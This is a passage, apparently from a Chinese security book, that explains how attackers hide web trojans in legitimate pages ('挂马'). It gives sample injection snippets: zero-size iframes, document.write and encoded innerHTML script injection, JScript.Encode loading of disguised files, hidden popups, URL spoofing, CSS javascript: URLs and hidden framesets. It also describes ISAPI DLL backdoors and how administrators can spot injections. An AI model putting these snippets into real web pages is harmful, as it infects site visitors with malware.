网页木马在本质上是一个Web页,但是又和普通的Web页面有很大的区别,首先就是由于其特殊性,网页木马无法光明正大地存在,只能隐藏在正常的Web页面中。把网页木马嵌入到正常的网页中的行为,就是俗称的“挂马”。挂马并不是仅仅将恶意代码写入正常网页这么简单,因为对于挂马者来说,希望网页木马的生存时间能尽可能地长,按照现在的黑客产业链的黑市价格,在一个大型社区网站挂一个小时的网页木马就需要几千元人民币,所以为了躲避管理员的检查,挂马的黑客们绞尽脑汁,网页木马的隐藏技术也因此得到了极大的发展,大致有以下几种。
(1)在页面插入一个隐藏的框架:在网页中插入一段如下的HTML代码:<iframe src=http://网页木马地址width=0height=0></iframe>,其中width和height属性为0意味着该框架是不可见的,受害者若不查看源代码很难发现网页木马。这个方法也是挂马最常用的一段代码,但是随着网站管理员和广大网民安全意识的提高,只要在源代码中搜索iframe这个关键字,就很容易找到网页木马的源头。
(2)利用JavaScript引入网页木马:相比iframe这个标签,<SCRIPT src="http://xx.js"type=text/javascript>这段代码就显得更加隐蔽,因为几乎95%的网页中都会出现类似的script标签,利用js引入网页木马也有多种方法:
*在js中直接写出框架网页木马,示例代码如下:
document.write("<iframe width='0' height='0' src='网页木马地址'></iframe>");
*指定language的属性为"JScript.Encode",还可以引入其他扩展名的js代码,这样就更加具有迷惑性,示例代码如下:
<SCRIPT language="JScript.Encode" src=http://www. xxx.com/mm.jpg></script>;
*利用js更改body的innerHTML属性,引入网页木马,如果对内容进行编码的话,不但能绕过杀毒软件的检测,而且增加了解密的难度,示例代码如下:
op.document.body.innerHTML=top.document.body.innerHTML+'\r\n<iframe src="http://网页木马地址/%22%3E%3C/iframe%3E';
*利用JavaScript的window.open方法打开一个不可见的新窗口,示例代码如下:
<SCRIPT language=javascript>window.open("网页木马地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,width=1,height=1");</script>;
*利用URL欺骗,示例代码如下:
a href="http://www.163.com(/迷惑用户的链接地址,显示这个地址指向木马地址)"onMouseOver="www_163_com(); return true;"> 页面要显示的正常内容</a>:
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url="网页木马地址";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>
(3)利用body的onload属性引入网页木马:使用如下代码就可以使网页在加载完成的时候跳转到网页木马的网址<body></body>。
(4)利用层叠样式表CSS引入js,从而引入网页木马,示例代码如下:body{background-image:url('javascript:document.write("<scriptsrc=http://www.XXX.com/xx.js></script>")')}。
(5)利用隐藏的分割框架引入网页木马,示例代码如下:
<frameset rows="444,0" cols="*"><frame src="正常网页"framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0"><frame src="网页木马" frameborder="no"scrolling="no" noresize marginwidth="0" margingheight= "0">
</frameset>
(6)利用ISAPI引入网页木马:ISAPI(Internet服务应用程序编程接口)技术使开发人员可以扩展IIS服务器提供的功能。ISAPI扩展是一个动态链接库(.dll),它使用ISAPI提供一套Web功能,这些功能超过IIS以本机方式提供的功能。当用户需要使用ISAPI扩展提供的一种功能时,他们可以向服务器发送一个请求。某些情况下可以直接调用ISAPI扩展,但更常见的情况是用户在服务器上请求包含要处理的命令的文件。遇有用户请求此类文件时,IIS会确定应该用哪个ISAPI扩展分析该文件,方法是查看一个脚本映射表,该表列出了与服务器上的各个ISAPI扩展相关的文件扩展名。
ISAPI本意是扩展IIS的功能,可以做成IIS防火墙,过滤一些非法内容,也可以防盗链的防火墙,但在黑客的手里却成了攻击的利器,ISAPI可以做成服务器上的后门,在挂马中可以对HTTP请求进行过滤,然后在里面插入iframe等的标签插入网页木马,这种插入网页木马的方式十分隐蔽,管理员从Web目录文件的检查中看不出什么异常,但是用户所得到的网页中还是被插入了网页木马,有点安全意识的管理员可能会想到是ISAPI的问题,假如发现有新增加的ISAPI映射,那就可能有问题了,但假如是现有的ISAPIDLL被替换,那就更难被发现了,还得一个个对比正常的IIS中的文件,大大增加了发现的难度,但是编写ISAPI扩展的难度也比较大,网上也从未公布过这样的代码,本书在这里也不打算具体介绍这方面的技术,以免被用于歧途,而介绍的目的是希望能引起管理员对这种新型挂马方式的注意,尽管编写这样的DLL插件有一定的技术门槛,但是有网络上还是有网友发现出现过这样攻击的,如图2.1所示(解析asp脚本的DLL被黑客替换了)。 |
|